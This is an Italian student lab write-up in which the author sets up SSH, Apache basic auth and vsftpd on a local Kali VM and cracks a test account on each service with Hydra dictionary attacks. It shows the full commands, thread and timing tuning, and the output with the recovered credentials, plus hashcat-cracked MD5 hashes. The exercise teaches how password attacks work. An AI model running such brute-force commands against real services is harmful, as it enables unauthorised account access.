

HYDRA DICTIONARY ATTACK

Crack delle credenziali di autenticazione per i servizi SSH, FTP e HTTP tramite e simulazione di attacco a password per dizionario con uso di tool cracking hydra e dizionario semplificato.

SERVIZI USATI

- SSH (daemon incluso in kali)
- FTP (daemon vsftpd)
- http authentication (daemon apache2)

TARGET USER, DICTIONARIES, SERVICE/DAEMON INSTALL/CONFIGURATION

- Creare nuovo user KALI e assegnarli credenziali

```
$ sudo adduser test_user
[sudo] password for kali:
Sorry, try again.
[sudo] password for kali:
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []: test_user
   Room Number []:
  Work Phone []:
  Home Phone []:
   Other []:
Is the information correct? [Y/n] y
```

```
$ id test_user
uid=1001(test_user) gid=1001(test_user) groups=1001(test_user),100(users)
```

- Simulare i dizionari di utenti e password creando un file .txt nella seguente maniera, contenente i seguenti tentativi a destra: →

```
(kali@kali)-[~]
$ nano ~/test_wordlist.txt

(kali@kali)-[~]
$ nano ~/test_userlist.txt

(kali@kali)-[~]
$ cat ~/test_wordlist.txt
1234567
password12
password123
lalalalaalala
lorem_ipsum
testtesttest
testpass
blublublublu
epicode

(kali@kali)-[~]
$ cat ~/test_userlist.txt
user
breakin
bruteforceable
aiaiaiaiaiaiaia
ouuuuuuuuu
mbdai
username2
test_user
user_test
teer_usst
```

- START del servizio SSH (già presente su kali a: /etc/ssh/) questo ha come port di default per il listening il port 22, trovo il servizio quindi o in localhost (127.0.0.1:22) o su IPv4 assegnato alla mia VM Kali (in questo caso 192.168.20.101), ma noi useremo localhost per semplicità. Il config di default in /etc/ssh/sshd_config per ora funziona senza problemi, avrei potuto specificare al daemon di utilizzare specificatamente 127.0.0.1:8 anziché generalmente stare in listening su porta 22 come ho fatto per servizio HTTP dopo ma per ora non cambia nulla. Per le credenziali ssh utilizziamo quelle dell'user Kali non vanno specificate.

```
(kali@kali)-[~]
$ sudo systemctl start ssh

(kali@kali)-[~]
$ ss -tlnp | grep 22
LISTEN 0      128          0.0.0.0:22      0.0.0.0:*
LISTEN 0      128          [::]:22        [::]:*
```

- Installazione, configurazione e START del servizio HTTP apache2 (e correlate utilities necessarie per autenticazione e configurazione), imposto listening su localhost 127.0.0.1:80 e creo user con httpasswd di nome test_user e password “testpass”

```
Listen 127.0.0.1:80

<IfModule ssl_module>
    Listen 443
</IfModule>

<IfModule mod_gnutls.c>
    Listen 443
</IfModule>
```

```
(kali@kali)-[~]
$ sudo apt install apache2-utils -y
apache2-utils is already the newest version (2.4.66-8).
apache2-utils set to manually installed.
The following packages were automatically installed and are no longer required:
curlftpfs      libmjpegutils-2.1-0t64      libsframe2      mesa-vaapi-drivers
libaudio2      libmpeg2encpp-2.1-0t64     libsimdutf29    pocketsphinx-en-us
libavfilter10  libmpeg2-2.1-0t64         libsnmp40t64    python3-aiohttp
libavformat61  libmupdf25.1              libspnbase3t64  python3-aiohttp
libconfig-inifiles-perl  libonnx1t64              libswscale8     python3-fs
libcrypt-dev   libonnxruntime-providers  libtsk19t64     python3-terminaltables
libdlt2        libonnxruntime1.21        libtss2-fapi1t64  python3-wapiti-arsenic
libdnnl3.6     libplacebo351             libvdpa-dmabuf  python3-yaswfp
libfuse2t64    libpocketsphinx3          libxnnpack0.20241108  ruby-unf-ext
libgav1-1      libpostproc58             libxring3        vdpau-driver-all
libgdk-pixbuf2.0-bin  librubberband2           linux-image-6.16.8+kali-amd64

Use 'sudo apt autoremove' to remove them.

Summary:
  Upgrading: 0, Installing: 0, Removing: 0, Not Upgrading: 232

(kali@kali)-[~]
$ sudo httpasswd -c /etc/apache2/.htpasswd test_user
New password:
Re-type new password:
Adding password for user test_user
```

ora posso andare su configurazione default del servizio apache2 su /etc/apache2/sites-enabled/000-default.conf e inserire il blocco config di directory seguente:

```
<VirtualHost *:80>
    # The ServerName directive sets the request scheme, hostname and port that
    # the server uses to identify itself. This is used when creating
    # redirection URLs. In the context of virtual hosts, the ServerName
    # specifies what hostname must appear in the request's Host: header to
    # match this virtual host. For the default virtual host (this file) this
    # value is not decisive as it is used as a last resort host regardless.
    # However, you must set it for any further virtual host explicitly.
    #ServerName www.example.com

    ServerAdmin webmaster@localhost
    DocumentRoot /var/www/html

    # Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
    # error, crit, alert, emerg.
    # It is also possible to configure the loglevel for particular
    # modules, e.g.
    #LogLevel info ssl:warn

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined

    # For most configuration files from conf-available/, which are
    # enabled or disabled at a global level, it is possible to
    # include a line for only one particular virtual host. For example the
    # following line enables the CGI configuration for this host only
    # after it has been globally disabled with "a2disconf".
    #Include conf-available/serve-cgi-bin.conf
    <Directory "/var/www/html/protected">
        AuthType Basic
        AuthName "Restricted Area"
        AuthUserFile /etc/apache2/.htpasswd
        Require valid-user
    </Directory>
    #on directory "protected" use basic HTTP authentication
    #file storing in earlier .htpasswd and required to be in there to access
</VirtualHost>
```

qui indico il folder “protected” dove saranno richieste credenziali, che invece si trovano su file .htpasswd, oltre ch  quindi indicare l'utilizzo di autenticazione basica e label di tale richiesta di autenticazione. Ora creo tale directory (protected) e inserisco un semplice file html con testo “secret page”,   su questa pagina che hydra andr  a svolgere attacco a dizionario. Inoltre indica di scrivere su terminale con “sudo tee #####...” . Finito configurazione riavvio apache2 e tento connessione.

```
(kali㉿kali)-[~]
$ sudo mkdir /var/www/html/protected

(kali㉿kali)-[~]
$ echo "secret page" | sudo tee /var/www/html/protected/index.html
secret page

(kali㉿kali)-[~]
$ sudo systemctl restart apache2
```



```
(kali@kali)-[~]
$ curl http://127.0.0.1/protected
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested. Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache/2.4.66 (Debian) Server at 127.0.0.1 Port 80</address>
</body></html>

(kali@kali)-[~]
$ curl -u test_user:testpass http://127.0.0.1/protected
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://127.0.0.1/protected/">here</a>.</p>
<hr>
<address>Apache/2.4.66 (Debian) Server at 127.0.0.1 Port 80</address>
</body></html>
```

Se indico credenziali ho effettivamente accesso a pagina html, altrimenti no.

- Installazione, configurazione e creazione credenziali ftp tramite daemon vsftpd che installo. Vado su file di configurazione a /etc/vsftpd.conf e modifico i parametri di ascolto (IPv6 listening è attivo mentre IPv4 no, sono inoltre mutualmente esclusivi, inoltre devo permettere local user e permettere ad essi di scrivere/cambiare file MA impedire invece user anonim (anonymous_enable)

```
# Example config file /etc/vsftpd.conf
#
# The default compiled in settings are fairly paranoid. This sample file
# loosens things up a bit, to make the ftp daemon more usable.
# Please see vsftpd.conf.5 for all compiled in defaults.
#
# READ THIS: This example file is NOT an exhaustive list of vsftpd options.
# Please read the vsftpd.conf.5 manual page to get a full idea of vsftpd's
# capabilities.
#
# Run standalone? vsftpd can run either from an inetd or as a standalone
# daemon started from an initscript.
listen=YES
#
# This directive enables listening on IPv6 sockets. By default, listening
# on the IPv6 "any" address (::) will accept connections from both IPv6
# and IPv4 clients. It is not necessary to listen on *both* IPv4 and IPv6
# sockets. If you want that (perhaps because you want to listen on specific
# addresses) then you must run two copies of vsftpd with two configuration
# files.
listen_ipv6=NO
#
# Allow anonymous FTP? (Disabled by default).
anonymous_enable=NO
#
# Uncomment this to allow local users to log in.
local_enable=YES
write_enable=YES
#addedd write enable so logged in users can interact with files on FTP
#
# Uncomment this to enable any form of FTP write command.
write_enable=YES
#
# Default umask for local users is 077. You may wish to change this to 022,
# if your users expect that (022 is used by most other ftpd's)
local_umask=022
#
# Uncomment this to allow the anonymous FTP user to upload files. This only
# has an effect if the above global write enable is activated. Also, you will
# obviously need to create a directory writable by the FTP user.
anon_upload_enable=YES
#
# Uncomment this if you want the anonymous FTP user to be able to create
# new directories.
anon_mkdir_write_enable=YES
#
# Activate directory messages - messages given to remote users when they
# go into a certain directory.
dirmessage_enable=YES
#
# If enabled, vsftpd will display directory listings with the time
# in your local time zone. The default is to display GMT. The
```

```

(kali㉿kali)-[~]
$ sudo nano /etc/vsftpd.conf

(kali㉿kali)-[~]
$ sudo systemctl restart vsftpd

(kali㉿kali)-[~]
$ sudo systemctl start vsftpd

(kali㉿kali)-[~]
$ sudo systemctl status vsftpd
● vsftpd.service - vsftpd FTP server
   Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
   Active: active (running) since Fri 2026-04-10 05:38:11 EDT; 9s ago
  Invocation: f92c3e33e56a4891b3292ba44865e3bf
    Process: 30158 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SUCCESS)
   Main PID: 30159 (vsftpd)
      Tasks: 1 (limit: 4456)
     Memory: 864K (peak: 2.2M)
        CPU: 21ms
    CGroup: /system.slice/vsftpd.service
            └─30159 /usr/sbin/vsftpd /etc/vsftpd.conf

Apr 10 05:38:11 kali systemd[1]: Starting vsftpd.service - vsftpd FTP server ...
Apr 10 05:38:11 kali systemd[1]: Started vsftpd.service - vsftpd FTP server.

(kali㉿kali)-[~]
$ ss -tlnp | grep 21
LISTEN 0      32          0.0.0.0:21      0.0.0.0:*

```

Quindi mi connetto a ftp su 127.0.0.1, inserisco credenziali (test_user:testpass) e controllo se configurato in maniera corretta, infine esco (bye).

```

(kali㉿kali)-[~]
$ ftp 127.0.0.1
Connected to 127.0.0.1.
220 (vsFTPd 3.0.5)
Name (127.0.0.1:kali): test_user
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

```

SSH CRACK

Più sensibile a disconnettere se riceve troppe richieste quindi ho bisogno di fare attenzione a quanti THREADS e quanto Wait Time assegno al tentativo di crack di HYDRA. Altrimenti succede questo:

```

[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-10 05:26:57

```

```

(kali㉿kali)-[~]
$ hydra -L ~/test_userlist.txt -P ~/test_wordlist.txt -t 4 -w 3 -c 1 -V 127.0.0.1 ssh

```

-L (user login list file) | -P (password list file) | -t (threads assigned) | -W (wait time per tentativi in successione) | -c (wait time per riconessione) | -v ("verbose" mostra tutti passaggi)


```
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "password12" - 65 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "password123" - 66 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "lalalalaalala" - 67 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "lorem_ipsum" - 68 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "testtesttest" - 69 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "testpass" - 70 of 90 [child 0] (0/0)
[22][ssh] host: 127.0.0.1 login: test_user password: testpass
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "1234567" - 73 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "password12" - 74 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "password123" - 75 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "lalalalaalala" - 76 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "lorem_ipsum" - 77 of 90 [child 0] (0/0)
[STATUS] 25.67 tries/min, 77 tries in 00:03h, 13 to do in 00:01h, 1 active
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "testtesttest" - 78 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "testpass" - 79 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "blublublublu" - 80 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "epicode" - 81 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "1234567" - 82 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "password12" - 83 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "password123" - 84 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "lalalalaalala" - 85 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "lorem_ipsum" - 86 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "testtesttest" - 87 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "testpass" - 88 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "blublublublu" - 89 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "epicode" - 90 of 90 [child 0] (0/0)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-10 05:31:35
```

abbiamo trovato le credenziali di accesso (in plaintext in questo caso)

HTTP AUTHENTICATION CRACK

Ha meno il “grilletto facile” per disconnetterti dopo tante richieste quindi ho un pochino giocato con gli argomenti da CLI ma funzionava comunque

```
(kali@kali)-[~]
$ hydra -L ~/test_userlist.txt -P ~/test_wordlist.txt -t 32 -w 5 -V 127.0.0.1 http-get /protected/
```

```
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "testpass" - 70 of 90 [child 5] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "blublublublu" - 71 of 90 [child 9] (0/0)
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "epicode" - 72 of 90 [child 6] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "1234567" - 73 of 90 [child 7] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "password12" - 74 of 90 [child 8] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "password123" - 75 of 90 [child 10] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "lalalalaalala" - 76 of 90 [child 11] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "lorem_ipsum" - 77 of 90 [child 12] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "testtesttest" - 78 of 90 [child 13] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "testpass" - 79 of 90 [child 14] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "blublublublu" - 80 of 90 [child 15] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "epicode" - 81 of 90 [child 17] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "1234567" - 82 of 90 [child 16] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "password12" - 83 of 90 [child 18] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "password123" - 84 of 90 [child 19] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "lalalalaalala" - 85 of 90 [child 20] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "lorem_ipsum" - 86 of 90 [child 21] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "testtesttest" - 87 of 90 [child 23] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "testpass" - 88 of 90 [child 22] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "blublublublu" - 89 of 90 [child 24] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "epicode" - 90 of 90 [child 25] (0/0)
```

```
[80][http-get] host: 127.0.0.1 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-10 05:25:54
```

FTP CRACK

Come ssh ha un po' di problemi a disconnettere dopo troppi tentativi quindi ho controllato bene da argomenti quale funzionasse meglio.

```
(kali㉿kali)-[~]
$ hydra -L ~/test_userlist.txt -P ~/test_wordlist.txt -t 4 -w 3 -V 127.0.0.1 ftp

[21][ftp] host: 127.0.0.1 login: test_user password: testpass
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "1234567" - 73 of 90 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "password12" - 74 of 90 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "password123" - 75 of 90 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "lalalalaalala" - 76 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "lorem_ipsum" - 77 of 90 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "testtesttest" - 78 of 90 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "testpass" - 79 of 90 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "blublublublu" - 80 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "user_test" - pass "epicode" - 81 of 90 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "1234567" - 82 of 90 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "password12" - 83 of 90 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "password123" - 84 of 90 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "lalalalaalala" - 85 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "lorem_ipsum" - 86 of 90 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "testtesttest" - 87 of 90 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "testpass" - 88 of 90 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "blublublublu" - 89 of 90 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "teer_usst" - pass "epicode" - 90 of 90 [child 2] (0/0)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-10 05:48:22
```

puoi usare flag argomento “ -f “ per forzare i tentativi ma sei più propenso ad essere calciato da connessione credo

```
(kali㉿kali)-[~]
$ hydra -L ~/test_userlist.txt -P ~/test_wordlist.txt -t 4 -w 3 -f -V 127.0.0.1 ftp
```

COMMENTO FINALE

Non ho utilizzato veri dizionari di credenziali in quanto, altrimenti, il tempo necessario sarebbe stato eccessivo. Altrimenti avrei potuto utilizzare alcuni dei dizionari reali già presenti su KALI: rockyou/fasttrack oppure seclists come consigliato.

Personalmente se le password fossero state cifrate avrei poi utilizzato hyper-v con GPU passthrough per utilizzo completo della mia GPU Nvidia (niente di che ma più compatibile) e utilizzato hashcat come da esercizio U2S2L4.

```
5f4dcc3b5aa765d61d8327deb882cf99:password
e99a18c428cb38d5f260853678922e03:abc123
0d107d09f5bbe40cade3de5c71e9e9b7:letmein
8d3533d75ae2c3966d7e0d4fcc69216b:charley

Session.....: hashcat
Status.....: Cracked
```